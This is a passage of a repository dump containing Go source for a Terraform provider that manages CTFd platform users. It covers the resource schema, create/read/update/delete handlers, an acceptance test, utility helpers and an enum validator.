`tfsdk:"language"` Type types.String `tfsdk:"type"` Verified types.Bool `tfsdk:"verified"` Hidden types.Bool `tfsdk:"hidden"` Banned types.Bool `tfsdk:"banned"` } func NewUserResource() resource.Resource { return &userResource{} } type userResource struct { client *api.Client } func (r *userResource) Metadata(ctx context.Context, req resource.MetadataRequest, resp *resource.MetadataResponse) { resp.TypeName = req.ProviderTypeName + "_user" } func (r *userResource) Schema(ctx context.Context, req resource.SchemaRequest, resp *resource.SchemaResponse) { resp.Schema = schema.Schema{ MarkdownDescription: "CTFd defines a User as someone who will either play or administrate the Capture The Flag event.", Attributes: map[string]schema.Attribute{ "id": schema.StringAttribute{ MarkdownDescription: "Identifier of the user.", Computed: true, PlanModifiers: []planmodifier.String{ stringplanmodifier.UseStateForUnknown(), }, }, "name": schema.StringAttribute{ MarkdownDescription: "Name or pseudo of the user.", Required: true, }, "email": schema.StringAttribute{ MarkdownDescription: "Email of the user, may be used to verify the account.", Required: true, Sensitive: true, // Sensitive as PII => GDPR }, "password": schema.StringAttribute{ MarkdownDescription: "Password of the user. Notice than during a CTF you may not want to update those to avoid defaulting user accesses.", Required: true, Sensitive: true, }, "website": schema.StringAttribute{ MarkdownDescription: "Website, blog, or anything similar (displayed to other participants).", Optional: true, }, "affiliation": schema.StringAttribute{ MarkdownDescription: "Affiliation to a team, company or agency.", Optional: true, }, "country": schema.StringAttribute{ MarkdownDescription: "Country the user represent or is native from.", Optional: true, }, "language": schema.StringAttribute{ MarkdownDescription: "Language the user is fluent in.", Optional: true, }, "type": schema.StringAttribute{ MarkdownDescription: "Generic type for RBAC purposes.", Optional: true, Computed: true, Default: defaults.String(stringdefault.StaticString("user")), Validators: []validator.String{ validators.NewStringEnumValidator([]basetypes.StringValue{ types.StringValue("user"), types.StringValue("admin"), }), }, }, "verified": schema.BoolAttribute{ MarkdownDescription: "Is true if the user has verified its account by email, or if set by an admin.", Optional: true, Computed: true, Default: defaults.Bool(booldefault.StaticBool(false)), }, "hidden": schema.BoolAttribute{ MarkdownDescription: "Is true if the user is hidden to the participants.", Optional: true, Computed: true, Default: defaults.Bool(booldefault.StaticBool(false)), }, "banned": schema.BoolAttribute{ MarkdownDescription: "Is true if the user is banned from the CTF.", Optional: true, Computed: true, Default: defaults.Bool(booldefault.StaticBool(false)), }, }, } } func (r *userResource) Configure(ctx context.Context, req resource.ConfigureRequest, resp *resource.ConfigureResponse) { // Prevent panic if the provider has not been configured. if req.ProviderData == nil { return } client, ok := req.ProviderData.(*api.Client) if !ok { resp.Diagnostics.AddError( "Unexpected Resource Configure Type", fmt.Sprintf("Expected *github.com/ctfer-io/go-ctfd/api.Client, got: %T. Please open an issue at https://github.com/primeattenu/terraform-provider-ctfd", req.ProviderData), ) return } r.client = client } func (r *userResource) Create(ctx context.Context, req resource.CreateRequest, resp *resource.CreateResponse) { var data userResourceModel resp.Diagnostics.Append(req.Plan.Get(ctx, &data)...) if resp.Diagnostics.HasError() { return } res, err := r.client.PostUsers(&api.PostUsersParams{ Name: data.Name.ValueString(), Email: data.Email.ValueString(), Password: data.Password.ValueString(), Website: data.Website.ValueStringPointer(), Language: data.Language.ValueStringPointer(), Affiliation: data.Affiliation.ValueStringPointer(), Country: data.Country.ValueStringPointer(), Type: data.Type.ValueString(), Verified: data.Verified.ValueBool(), Hidden: data.Hidden.ValueBool(), Banned: data.Banned.ValueBool(), Fields: []api.Field{}, }, api.WithContext(ctx)) if err != nil { resp.Diagnostics.AddError( "Client Error", fmt.Sprintf("Unable to create user, got error: %s", err), ) return } data.ID = types.StringValue(strconv.Itoa(res.ID)) if resp.Diagnostics.HasError() { return } resp.Diagnostics.Append(resp.State.Set(ctx, &data)...) } func (r *userResource) Read(ctx context.Context, req resource.ReadRequest, resp *resource.ReadResponse) { var data userResourceModel resp.Diagnostics.Append(req.State.Get(ctx, &data)...) if resp.Diagnostics.HasError() { return } res, err := r.client.GetUser(utils.Atoi(data.ID.ValueString()), api.WithContext(ctx)) if err != nil { resp.Diagnostics.AddError( "Client Error", fmt.Sprintf("Unable to read user %s, got error: %s", data.ID.ValueString(), err), ) return } data.Name = types.StringValue(res.Name) data.Email = types.StringPointerValue(res.Email) data.Website = types.StringPointerValue(res.Website) data.Affiliation = types.StringPointerValue(res.Affiliation) data.Country = types.StringPointerValue(res.Country) data.Language = types.StringPointerValue(res.Language) data.Type = types.StringPointerValue(res.Type) data.Verified = types.BoolPointerValue(res.Verified) data.Hidden = types.BoolPointerValue(res.Hidden) data.Banned = types.BoolPointerValue(res.Banned) // password is not returned, which is good :) if resp.Diagnostics.HasError() { return } resp.Diagnostics.Append(resp.State.Set(ctx, &data)...) } func (r *userResource) Update(ctx context.Context, req resource.UpdateRequest, resp *resource.UpdateResponse) { var data userResourceModel resp.Diagnostics.Append(req.Plan.Get(ctx, &data)...) if resp.Diagnostics.HasError() { return } _, err := r.client.PatchUser(utils.Atoi(data.ID.ValueString()), &api.PatchUsersParams{ Name: data.Name.ValueString(), Email: data.Email.ValueString(), Password: data.Password.ValueStringPointer(), Website: data.Website.ValueStringPointer(), Affiliation: data.Affiliation.ValueStringPointer(), Language: data.Language.ValueStringPointer(), Country: data.Country.ValueStringPointer(), Type: data.Type.ValueStringPointer(), Verified: data.Verified.ValueBoolPointer(), Hidden: data.Hidden.ValueBoolPointer(), Banned: data.Banned.ValueBoolPointer(), Fields: []api.Field{}, }, api.WithContext(ctx)) if err != nil { resp.Diagnostics.AddError( "Client Error", fmt.Sprintf("Unable to update user, got error: %s", err), ) return } if resp.Diagnostics.HasError() { return } resp.Diagnostics.Append(resp.State.Set(ctx, &data)...) } func (r *userResource) Delete(ctx context.Context, req resource.DeleteRequest, resp *resource.DeleteResponse) { var data userResourceModel resp.Diagnostics.Append(req.State.Get(ctx, &data)...) if resp.Diagnostics.HasError() { return } if err := r.client.DeleteUser(utils.Atoi(data.ID.ValueString()), api.WithContext(ctx)); err != nil { resp.Diagnostics.AddError( "Client Error", fmt.Sprintf("Unable to delete user %s, got error: %s", data.ID.ValueString(), err), ) return } } func (r *userResource) ImportState(ctx context.Context, req resource.ImportStateRequest, resp *resource.ImportStateResponse) { resource.ImportStatePassthroughID(ctx, path.Root("id"), req, resp) // Automatically call r.Read } ``` ## /provider/user_resource_test.go ```go path="/provider/user_resource_test.go" package provider_test import ( "testing" "github.com/hashicorp/terraform-plugin-testing/helper/resource" ) func TestAcc_User_Lifecycle(t *testing.T) { resource.Test(t, resource.TestCase{ ProtoV6ProviderFactories: testAccProtoV6ProviderFactories, Steps: []resource.TestStep{ // Create and Read testing { Config: providerConfig + ` resource "ctfd_user" "ctfer" { name = "CTFer" email = "ctfer-io-user@protonmail.com" password = "password" # Define as an administration account type = "admin" verified = true hidden = true } `, Check: resource.ComposeAggregateTestCheckFunc( resource.TestCheckResourceAttrSet("ctfd_user.ctfer", "id"), resource.TestCheckResourceAttrSet("ctfd_user.ctfer", "type"), resource.TestCheckResourceAttrSet("ctfd_user.ctfer", "verified"), resource.TestCheckResourceAttrSet("ctfd_user.ctfer", "hidden"), resource.TestCheckResourceAttrSet("ctfd_user.ctfer", "banned"), ), }, // ImportState testing { ResourceName: "ctfd_user.ctfer", ImportState: true, ImportStateVerify: true, ImportStateVerifyIgnore: []string{"password"}, // password can't be fetched from CTFd (security by design) }, // Update and Read testing { Config: providerConfig + ` resource "ctfd_user" "ctfer" { name = "CTFer" email = "ctfer-io-user@protonmail.com" password = "password" } `, Check: resource.ComposeAggregateTestCheckFunc( resource.TestCheckResourceAttrSet("ctfd_user.ctfer", "id"), resource.TestCheckResourceAttrSet("ctfd_user.ctfer", "type"), resource.TestCheckResourceAttrSet("ctfd_user.ctfer", "verified"), resource.TestCheckResourceAttrSet("ctfd_user.ctfer", "hidden"), resource.TestCheckResourceAttrSet("ctfd_user.ctfer", "banned"), ), }, // Delete testing automatically occurs in TestCase }, }) } ``` ## /provider/utils/utils.go ```go path="/provider/utils/utils.go" package utils import ( "context" "strconv" "github.com/hashicorp/terraform-plugin-framework/types" "github.com/hashicorp/terraform-plugin-log/tflog" ) func AddSensitive(ctx context.Context, key string, value any) context.Context { ctx = tflog.SetField(ctx, key, value) return tflog.MaskFieldValuesWithFieldKeys(ctx, key) } // return a null types.Int64 if pointer is nil, else its value func ToTFInt64(i *int) types.Int64 { if i == nil { return types.Int64Null() } return types.Int64Value(int64(*i)) } func ToTFString(str *string) types.String { if str == nil { return types.StringNull() } return types.StringValue(*str) } // return a nil point if types.Int64 is null, else its value func ToInt(itf types.Int64) *int { if itf.IsNull() { return nil } i := int(itf.ValueInt64()) return &i } // ToIntOnDynamic returns the value of itf as an integer pointer iif // the challType is dynamic. func ToIntOnDynamic(itf types.Int64, challType types.String) *int { if challType == types.StringValue("dynamic") { return ToInt(itf) } return nil } func Ptr[T any](t T) *T { return &t } // Atoi MUST only be called on trusted input as it won't // return an error nor panic after calling `strconv.Atoi`. func Atoi(s string) int { v, _ := strconv.Atoi(s) return v } // BlindMerge combines the two inputs maps into a new one, // with preference over the second. // In case the same key is defined in both, b takes privilege. func BlindMerge[T comparable, U any](a, b map[T]U) map[T]U { c := map[T]U{} for k, v := range a { c[k] = v } for k, v := range b { c[k] = v } return c } ``` ## /provider/validators/string_enum.go ```go path="/provider/validators/string_enum.go" package validators import ( "context" "github.com/hashicorp/terraform-plugin-framework/schema/validator" "github.com/hashicorp/terraform-plugin-framework/types" ) // StringEnumValidator valides a string value in an enumeration. type StringEnumValidator struct { values []types.String } func NewStringEnumValidator(values []types.String) *StringEnumValidator { return &StringEnumValidator{ values: values, } } var _ validator.String = (*StringEnumValidator)(nil) func (val *StringEnumValidator) Description(ctx context.Context) string { return "Validates a string value in an enumeration." } func (val *StringEnumValidator) MarkdownDescription(ctx context.Context) string { return "Validates a string value in an enumeration." } func (val *StringEnumValidator) ValidateString(ctx context.Context, req validator.StringRequest, res *validator.StringResponse) { if req.ConfigValue.IsNull() { return } if req.ConfigValue.IsUnknown() { return } for _, v := range val.values { if req.ConfigValue.Equal(v) { return } } res.Diagnostics.AddError( "StringEnumValidator Error", "No matching values.", ) } ``` ## /terraform-registry-manifest.json ```json path="/terraform-registry-manifest.json" { "version": 1, "metadata": { "protocol_versions": ["6.0"] } } ``` ## /tools/tools.go ```go path="/tools/tools.go" //go:build tools package tools import ( // Documentation generation _ "github.com/hashicorp/terraform-plugin-docs/cmd/tfplugindocs" ) ``` The better and more specific the context, the better the LLM can follow instructions. If the context seems verbose, the user can refine the filter using uithub. Thank you for using https://uithub.com - Perfect LLM context for any GitHub repo.